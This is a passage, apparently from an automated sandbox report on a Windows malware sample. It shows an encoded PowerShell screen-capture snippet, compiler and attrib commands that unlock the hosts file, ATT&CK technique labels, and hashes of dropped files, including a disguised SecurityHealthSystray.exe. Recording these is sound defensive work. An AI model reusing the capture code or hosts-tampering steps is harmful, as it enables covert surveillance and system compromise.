BzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\twilss0j\twilss0j.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA652.tmp" "c:\Users\Admin\AppData\Local\Temp\twilss0j\CSC8493E0CE746E447C8AF2CFF630D8DC49.TMP"4⤵PID:644
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C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3692
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C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:1848
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 c120dfd293571bb2f35e9cbde9809851c9dc5e7f957447a8893f01c27d0ada9a
- MD5 3bfe301b0b965149b7443136668c55b8
- SHA1 2ab09a9020ec098d7505e5f89f27b561eccf8d44
- SHA512 b31437489847e99babaa7c524c339f03952f8bd6484e309c6171c4da2670ff7388c6aa98a1ad54fd7f49b73c9805be701d725e112532ab11e95a71e978d28cf5
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fda39902bce2f2c343bf3243d50f55444284057205fd2c5c379f265242731003
- MD5 2a99c12bc18d9cf34c05d0bb099685cb
- SHA1 679e4a313949f1e2cd0553c8b9cfbd3aded62b13
- SHA512 5e154f7dbe3aec7a0da7ae5c32f0eb181ab4649d4722af3d3d069c0b038e483c7e19efcb4e9280b056e0dc699c39f97f36653a279ced22fb611d13bb3c9ea1d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\RESA652.tmp
- Size 1KB
- SHA256 755f60820c60e221382358342649a1689085ff04046e388361190c5d2d02b7f6
- MD5 6e456e99bbbab894a45626e5c964498b
- SHA1 969626419d39b6d23585abd02777d7373a1d99c1
- SHA512 613582249bcd6f820ea62b5befefb51eff56ffb6986d8016ba06c27df6316b5f0e8c5c48ca1a9e8b7b62a827fff708c0a8568120d285a983bf3ae696459729dd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\UsLNwY09t4\Display (1).png
- Size 410KB
- SHA256 d4157552d4dcdfbf5b1fa7d8106fcb1d07dbcd5812be38357506b5007a2f92aa
- MD5 9b11ca4e1b8493fb621efc18744500f8
- SHA1 36663861107c37df0778847f14ca04193a0a0a57
- SHA512 58c955dd5f54f1f5b9ced5522f8a6bf162c3b5ab5a516d7313e871af76dbd190256df98c27800b8da87cbddcaff668763e12d486ac81f7edb36be61a32421e7b
- SSDEEP 12288:6tXEwFtomVpcdNJD3crAWJmgAznCYvowGd3vwx:hmHsPWJ3KnDvowGxox
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgc2dicq.o43.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\twilss0j\twilss0j.dll
- Size 4KB
- SHA256 1fcd63ee0bef229d0e79f7272f9a1ba8f9772872557af282ce6f47910d3bd44d
- MD5 c5f54483f309bd764c1a8d283d21602a
- SHA1 00ea685c91cf6108b142099581bdb26b74c48a64
- SHA512 f2ab31755d4163f636f32f423ec017959e9cdbbb68605b4d106745a64a3c8f629f0d2bd6c6617682012b708c054b310422aa5273b918b9a33584cd43f9c02a28
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
- Size 9.8MB
- SHA256 9a567e4744768e1e1acfd90020843a40d22ed677187459f34c7c77b0db5db508
- MD5 6cbfaf66c25b2255b6f28e12915c774d
- SHA1 11caa7a9f6bbfa96fba46aec5161db44b9e18961
- SHA512 7ce5c70e5c9344da2b788a7d1a410883afdbe28b3ef17c4dd509baf0071ccc72e27407bce88ae91fe40316097e9a70e08c1a24e132d237dea2f5d5716ada7c36
- SSDEEP 98304:xdQrygchMRKooE0qqWdS5ELg3ZKEGTiBJZrZ6f/fLhQcR:xKMhMR4Nb5ELgJXPO/fLT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\System32\drivers\etc\hosts
- Size 2KB
- SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
- MD5 6e2386469072b80f18d5722d07afdc0b
- SHA1 032d13e364833d7276fcab8a5b2759e79182880f
- SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\twilss0j\CSC8493E0CE746E447C8AF2CFF630D8DC49.TMP
- Size 652B
- SHA256 0cd6c0e8bb9da578d6bb6991bdb421d882c8ea66928c8a3e2f1320607f71c670
- MD5 c89bc808235bdf25294e63c8feb64027
- SHA1 bb91cd484c114649c4a5348a27f44a2189f2783b
- SHA512 4aa7e792312155ba64a017a55515dc190aa58a4bea161c876b57aca0f231b064e6c43c347259bee7508d86b8906a3a57739fd2fd07bab321b44ce61c8809e1e2
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\twilss0j\twilss0j.0.cs
- Size 1004B
- SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
- MD5 c76055a0388b713a1eabe16130684dc3
- SHA1 ee11e84cf41d8a43340f7102e17660072906c402
- SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\twilss0j\twilss0j.cmdline
- Size 607B
- SHA256 20d74cfc49b449bcf63a584e51e0ef77f021d330054ffbb59eb949176078d32b
- MD5 67c420c1b3de9cb6a0a2b4e2127aae76
- SHA1 08bbda74b3b3186fd8138444d39d553c241ba865
- SHA512 9f699898955f217fb5a2a52584ad49b12cff086c882144ba2a996f850506cd8251a97756743671b10440e829aea932d4ba6313241d2f6e613dac9bc7b8e75e14
- MD5 SHA1 SHA512